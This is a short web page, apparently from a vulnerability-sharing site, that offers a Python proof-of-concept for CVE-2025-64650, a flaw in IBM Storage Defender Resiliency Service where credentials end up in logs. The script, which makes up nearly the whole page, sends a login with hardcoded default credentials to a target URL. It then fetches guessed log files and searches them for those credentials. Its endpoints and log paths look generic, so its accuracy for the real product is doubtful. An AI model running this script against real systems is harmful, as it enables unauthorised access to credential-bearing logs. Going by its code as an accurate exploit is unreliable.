CVE-2025-64650 IBM Storage Defender Resiliency Service 凭证日志泄露漏洞

# CVE-2025-64650 PoC - IBM Storage Defender Log Credential Disclosure # This PoC demonstrates checking for exposed credentials in logs import requests import re import sys from urllib.parse import urlparse def check_credential_leakage(target_url, credentials=None): """ Check if IBM Storage Defender logs contain sensitive credentials """ if not credentials: credentials = { 'username': 'admin', 'password': 'password123' } # Simulate authentication request auth_endpoint = f"{target_url}/api/auth/login" try: # Step 1: Attempt login to trigger credential logging response = requests.post(auth_endpoint, json=credentials, timeout=10) # Step 2: Access log files that may contain credentials log_paths = [ f"{target_url}/logs/application.log", f"{target_url}/logs/auth.log", f"{target_url}/logs/system.log" ] exposed_creds = [] for log_path in log_paths: try: log_response = requests.get(log_path, timeout=10) if log_response.status_code == 200: # Search for credential patterns in logs if credentials['username'] in log_response.text: exposed_creds.append({ 'path': log_path, 'credential': credentials['username'] }) except: pass return { 'vulnerable': len(exposed_creds) > 0, 'exposed_credentials': exposed_creds } except Exception as e: return {'error': str(e)} if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] result = check_credential_leakage(target) print(result)